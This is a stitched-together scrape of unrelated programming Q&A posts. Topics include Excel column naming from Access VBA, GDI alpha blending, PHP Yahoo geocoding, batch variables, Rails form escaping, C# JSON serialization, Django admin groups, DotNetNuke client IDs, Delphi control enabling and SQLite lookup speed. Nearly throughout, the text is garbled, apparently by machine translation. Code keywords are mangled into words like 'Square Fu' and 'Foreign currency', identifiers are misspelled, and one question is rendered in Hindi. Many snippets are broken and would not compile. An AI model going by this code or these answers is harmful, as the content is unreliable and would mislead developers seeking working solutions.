I am making excel spreadsheets in the access VBA code. I have to change the column names in a meaningful name from A, B, C, etc. I have seen high and low, but can not find any way. The column name can not be changed in Excel. They are a basic part of how Excel operates. When you create a spreadsheet based on a database table (looks like what you are doing), the first row of the Excel spreadsheet will include the fields (columns) of your data in this way, when You will have to read the data back in Access, or import the spreadsheet as a table; Access by default wants to see the first row of the spreadsheet for column names.

windows - How do I create a bitmap with an alpha channel on the fly using GDI? -

I am using windows at level level and pulling a round rectangle on the screen. However, I want to smooth the toothed edges. I think for this I need alpha mixtures. Is there any way I can do with GDI? Create DIBISIN 32 bitpipin with BPP filler. Fill the alpha channel with the pre-fold alpha and you're good to go. The AlphaBlend API that actually rebuts the 32 BPP bitmap with an affair channel.

help with php and xml for yahoo service -

I am working on a PHP code for my social network, which I'm planning to do is either user signup or Profiles are on update. I take zip codes wherever they use Yahoo and I keep these values ​​from there to see latitude and logatigraphy, there the user's MySQL table is used. But those users' Located within miles will be used to find users. / P> & lt ;? My code is so far to get this information before depositing in php function yahoo_geo ($ location) {$ q = 'http: // api. I .local.yahoo.com/MapService / V1 / geocode'; Q = '? APID = Rarlinhof and location = '. Rawerlencode ($ location); Echo $ q; Libxml_use_internal_errors (true); $ Xml = Simple XMLload_file ($ q); If (! Is_object ($ xml)) returned incorrectly; $ Ret ['exact'] = (string) $ xml- & gt; Results ['exact']; Foreign currency ($ xml-> result-> children () $ key = & gt; $ val) {if (strlen ($ val)) {$ ret [(string) $ key] = (string) $ val; } Return $ ret; } $ _R...

bash - How to assign chdir to a variable in .bat? -

I am trying to translate a bat script into a .bat script. The specific line at which I am tripping is: x = 'pwd' .bat is equal? I need to take that directory that the script is currently running as a variable, so I can use a common relative path to find files in the directory. I'm running on Windows XP at a command prompt. The current directory is available in pseudo-current % cd% . Therefore: set X =% cd% stores it in the named variable.

database - Escaping Characters Rails -

I want to escape from the input in this form so that when entering database characters. * * Will not be affected New How do I encode the characters to get the above mentioned target & lt;% form_for @ post ,: url = & gt; {: Action = & gt; : CreateInnovation} | Farm | & Gt%; & Lt; Fieldset & gt; & Lt; P & gt; Title: & lt; Br / & gt; & Lt;% = form.text_field: title,: html = & gt; {: Class = & gt; "Text ui-widget_content ui-corner-all"}%> & Lt; / P & gt; & Lt; P & gt; Details: & lt; Br / & gt; & Lt;% = form.text_area: body ,: html = & gt; {: Class = & gt; "Text ui-widget_content ui-corner-all"}%> & Lt; / P & gt; & Lt; / Fieldset & gt; & Lt;% end% & gt; In order to prevent SQL injection, ActiveRecord will automatically avoid any characters as any character Are you worried about this? If so, the train has covered you.

c# - JSON Serialization with class inheriting from Dictionary<T,V> -

I have a class that is currently the successor to the dictionary and after that some first-class member attributes are broadly On: Public Square Fu: Dictionary & lt; String, string & gt; {Public string bar {get; Set; } Public string playback {received; Set; }} On serializing an example of this object for JSON, it appears that the serializer uses only the key / value coupling that I have stored in the dictionary even here That if I apply the datamember attributes to the new 1 square properties, then the JSON serializer does not know what to do with them and instead of just ignoring them. I am assuming that there is something fundamental in my priority that I am 'missing, but on Code.net's samples and docs, on NSN's JSON serializer, I only get trivial examples of what I I am doing that, which does not quite match. All our other classes that are received from some other base classes do not show this problem, this is what comes out especially with the generi...

django users and groups - show group membership in admin? -

User management of the admin of the agency Easy access to establish the integrity of the user's group through the list to select us the group Offers. There are so many different connection default widgets for this assignment. And most of the part is good for user creation. However, say that I have a lot of users and groups ... I have the opportunity to see and manage group membership by clicking on the group in admin and in the same members (or via horizontal widget) See all the members. Is there any built-in design system / move to show many relation in many customs? Setting Group Assignments is OK with User Administration on User Creation. But after users and groups are well established, it can be a great pain to find and manage. I think that the working group is to create your own idea to show members, I just want to see if there are some moves which I can do something inline or in the admin. Try using it Contrib.auth is an optimization example of the app admin...

oop - Solution to the lack of covariance with generics in c# 2.0 (BindingList) -

This is a design question I have a business object, and there are 5 business object types received from it. I will have a class that is a binding list as a member. I will have 5 classes Because sympathy does not work here, how would you design to reduce the code repetition? I can definitely check the binding list and I want to go with the datatelle, in which case the problem ends. But since everyone knows about the bidding list, I love seeing how people will contact you. Solution (based on the answer to Powell Minave): public class samplebase {secure string m_seq; Secure string m_id; Safe string m_weight; Safe string m_units; Public Sample Base (String Seek, String ID, String Weight, String Unit) {Seak = CQ; Id = id; Weight = weight; Unit = units; } Public Samplebusiness () {} Public String Seq {get {return m_seq; } Set {m_seq = value; }} Public string id {get {return m_id; } Set {m_id = value; }} Public string weight {received {return m_weight; } Set {m_weight = value; ...

c# - Website but more like chat application behaviour -

Hi, I want to use a website primarily in ASP.NET 3.5 as C #. In this web app, I have to push messages very often. (Like if the sender sends a message, it should immediately reflect the receivers) Like so many chat applications but not bidirectional, my question is how can I refresh the receiver webpage immediately? Or how can I send messages to receivers instantly? Any help is highly appreciated? I'm thinking that you are talking about features like Facebook Chat According to various Facebook Dev blog posts, I believe they use AJAX for a long time to vote; Which means that as soon as a user sends a message, another AJAX request is requested which is not answered by the server, unless there is nothing to report (i.e. a new message). It is often called "comet". Note: Do not try to do this on a standard server setup - Most server software starts a new thread for each request. To avoid this, you will need a custom server software. Unfortunately, I have searched f...

asp.net - ClientID invalid after moving code into DotNetNuke module -

I've discovered I'm porting an existing application to a DotNetNuke module and bizarre behavior. I use ClientId while creating JavaScript so that code can recognize HTML elements. Usually that makes something like this a price: it's a million times "g_ctl00_ctl01_ctl00_ctl00_txtSearch" We've all seen, right ? Well, after this code porting to a DotNetNuke module and run it for the first time, ClientID property is this return: "dnn_ctr397_GalleryServerPro.Web.Gallery, TechInfoSystems_ctl00_ctl01_ctl00_ctl00_txtSearch" Note the comma and space. For example, ASP.NET login control is now outputting illegal JavaScript: This is causing all kinds of JavaScript errors. Dokyumentkal [ "Dnn_ktr397_gllerisserverprokvebkgalri, Tecinfosystems_ktl00_ktl0l_ktl0l_lv_ktl02_loginl_ussernamerekuired"]: Dokyumentkgetelementbyid ( "Dnn_ktr397_gllerisserverprokvebkgalri, Tecinfosystems_ktl00_ktl0l_ktl0l_lv_ktl02_loginl_ussernamerekuired...

windows - Component disabling and enabling at runtime in Delphi 2K9. Weird problem -

यहाँ कोड है: प्रक्रिया DisableContrlOL (कॉन्स्ट cArray: स्ट्रिंग की सरणी; reeable: बूलियन = झूठी); // VKP / RAW / जनरेशन क्लिक से कहा जा सकता है AComponent: TComponent; CompListDis, CompListEna: TStringList; CompListDis शुरू करें: = TStringList.Create; CompListEna: = TStringList.Create; के लिए I: = कम (सीएआरआरए) से उच्च (सीएआरआरए) एसीएमएपेंन्ट शुरू करते हैं: = खोजकंपनी (सीएआरआरए [आई]); यदि असाइन किया गया है (एसीएमएपेंट) तो अगर (ACMponent TControl है) तब शुरू होता है जब TControl (AComponent)। तब सक्षम करें CompListEna.Add (TControl (AComponent) .नाम) और CompListDis.Add (TControl (AComponent) .नाम); ShowMessage (TControl (AComponent) .Name); यदि पुन: सक्षम तब शुरू होता है / यदि पुन: सक्षम करने की आवश्यकता है, तो सभी whi यदि नहीं TControl (AComponent)। तब सक्षम TControl (ACmponent)। सक्षम: = सत्य; एंड टू एंड (यदि टीकंट्रोल (एसीएमएपेंट)। सक्षम किया गया है) तो टीकंट्रोल (एसीएमएपेंट)। सक्षम: = फॉल्स; समाप्त; समाप्त; समाप्त; मुझे लगता है कि और स्पष्टीकरण की आवश्यकता नहीं है। ShowMes...

How do I replace tabs with spaces within variables in PHP? -

$ data has tabs, top positions and multiple locations. Want to replace several spaces with a single space, and remove the leading spaces. Any such thing that will close this input data: [asdf asdf asdf asdf] output data In: [asdf asdf asdf asdf] How do I do this? $ data = trim (preg_replace ('/ \ s + / g', '' , $ Data));

iPhone Sqlite Performance Problem -

O people, it is low below. I have a table with primary key (Col1), text (col2), and text (col3). Actually a map has about 200k lines in this table, it basically takes 1.x seconds to get me a line (all I want to do). I'm basically using the selection * from the table where col2 = 'some value'. I have tried to create an index for all the three columns, each column individually, and col2 and col3, but it really did not improve my position. I'm thinking, is this normal? I have not come to any of the people who complained about the slow succulent performance for the big tables, so I am wondering what I am doing. Any help would be greatly appreciated. I would say, this is not very clearly. Even when you have a large table, one index should be faster than an access point. What you can do: Create only one index on col2 (this is the same and only you need it for it!). Using "Explore Select ..." to get the information, which SQLite tells about it,...

join - MySQL - get elements from a link table but ONLY those elements -

There is a problem with selecting a link from the table and filtering out more than enough results. Publication relates to Package via the Package_Publication table. For example, I know of my publications being ID 11 and 47. I want to return a package which is only in those publications. Now if I join one and do something like then publication.id IN (11, 47) after the obvious internal joins, it only returns all those packages Which will be one of those values ​​in the package_publications link table. I want to match those packages in which only both (or more - it is not limited to two). Effectively I want one or the other when I am using, but I do not know how to contact it with SQL-wise. Your best bet is a correlated subquery. The second option is associated with different groups but it Not performing well, especially on the big table. Subkey: SELECT * `packages` WHERE 2 = (`number of selects (*) from` package_publications` where`` package_. id = `packag...

streaming - Midi MediaElement support in Silverlight 3 -

I am also trying to create a small silver application to support some MIDI files. I have tried to use the media element, but I do not think it can read MIDI files, without any need to replace the MIDI file, do you know any one of the alternatives? Silverlight does not support MIDI; There are a few ways you can handle it: Decodify MIDI (in some way) and synthesize the audio using a custom. Decode MIDI and use it to trigger MP3 samples. Add another control to that page that can play MIDI, such as Windows Media Player control.

.net - Is it possible to extend arrays in C#? -

I used to add methods like external classes such as IEnumerable static class extension {public static string extension (array array array) {return "yes you can"); }} Class program {static zero main (string [] args) {int [,,,] multidimensional = new int [10,10,10,10]; Console.WriteLine (multiDimArray.Extend ()); }}

To SHA512-hash a password in MySQL database by Python -

This question is based on. I would like to know how you can do your password by SHA1 and then remove clear-text passwords by Python in a MySQL database. How can you get a password in a MySQL database? As a documentation, you should not use the library since Python 2.5. It's very easy to make it. hexhash = hashlib.sha512 ("some text"). Hexdigest () This hex number will be easy to submit to a database.

ruby on rails - Is the user logged in? (restful-authentication) -

I have used authentic authentication and I have a "public" layout and a completely different "member" layout. When someone visits my root (default to public), how can I verify that they are logged in and redirect them to the member's section? Resetify provides some conditional methods / assistants in which a called logged_in? This is true if the user is logged in. See the authenticated_system.rb file for a list of all available methods.

.net - (C#) Is there a way to set the value of a single bit through pointers? -

What do I mean: Imagine that we have an 8 byte variable with a high value and low value. I can make a pointer point between the upper 4 bytes and the other point at 4 bytes, and set / retain my values ​​without problems. Now, is there any way to obtain / determine the values ​​of any thing compared to any byte? If instead of dividing it into two 4 bytes "Variables", I would like to consider eight 1 byte variable, but I can use a bool, but in C # there are no defined small variables. Could it possibly be possible to divide only 16 with the pointer? Or even 32, 64? Would not it be right? This is a very academic question, I know that it can be achieved with otherwise bitsfifing, unions (Stract. Good) etc. Thanks! No, the C # field does not support fields and a byte is the minimum amount of addressable memory You can manually provide properties that change one or several specific bits, but you must pay packing / unpacking logic itself: Public Bull Bit 5 {get {return...

Javascript question: Problem with calling an objects methods -

Say I have an object called FieldEdit I define the function constructor for this object, Instant through it var obj = new FieldEdit () , and FieldEdit.prototype & Lt; Method Name & gt; = () {...} . . Under what circumstances would other methods of this object (this. > Name name. ) fail? Note that I would like to avoid posting a code sample for this, because I can think that it is a problem in my understanding of javascript compared to just a few, in fact I am pretty sure that My code is the best knowledge (and this is my knowledge, besides here the question is). Most likely where this FieldEdit In addition to FieldEdit , the object will reference an object called nested scope such as a closure, an event handler, or any function or method explicitly .call (someOtherScope) Or .apply (someOtherScope, args) . You must maintain a variable reference for example FieldEdit and FieldEditInstance. & Lt; Method & gt; () Instead. . > PrototypeJ...

c# - How to call a function dynamically based on an object type -

Based on the type of parameter passed in the parameters, I am looking for a great way to call the function . In other words, I want the EntryPoint method to dynamically call the appropriate myFunc method (below) depending on the type of template parameter (below) I am Public Zero EntryPoint (object template) {missingMethod (template); // This is the code in question which myFunc} should call private myfunc {TemplateA template} {doSomething (template); } Private Zero myFunc (TemplateB Template) {doSomethingElse (template); } Private Zero myFunc (Object templates) {New NotImplementedException Throwing (template.GetType ()); } three options: Wait for C # 4 and use dynamic typing (possibly not in your case)

c# - How to use ? character in an enum -

I work in C #, Visual Studio '05 ... in my nm, how do i 's Can i use 'Character? My value is below: public enum question {How_old_are_you? How to set _ = 0, //? Character what_is_your_name = 1} I '?' There are some errors after adding the character. ? A C # notifier does not have a valid character (which includes value values) I strongly recommend that you use something like: public enum question { Details ("How old are you?")] Age, [description ("What is your name?"] Name} Or a map or a resource file - just a natural language Do not try to make enum name in the description of. Edit: For reference, How to do this (thanks): ((specialty details) attribute .GetCustomAttribute (typef (question) .GetField ("Age ", Binding flags, public; binding flag states), typef (explanation), wrong)). Description;

delphi - How to set two radiobuttons in one group and two in another group? -

I have a total of 4 radio boots on my form, I want to set the first two buttons in one group and the other two I want to set up the group, so that I can see one of the second and second groups from the first group. Right now, if I check one in the first group, then the second group becomes uncontrolled. I always wonder how to do this and I believe it is time to take the time. Dependent with the dependable Delphi 5 support: default , All radio buttons that are directly in the control container with the same window, such as TRadioGroup or TPanel , are grouped. For example, two radio buttons on one form can be checked at the same time, if they are included in separate containers, such as two separate group boxes.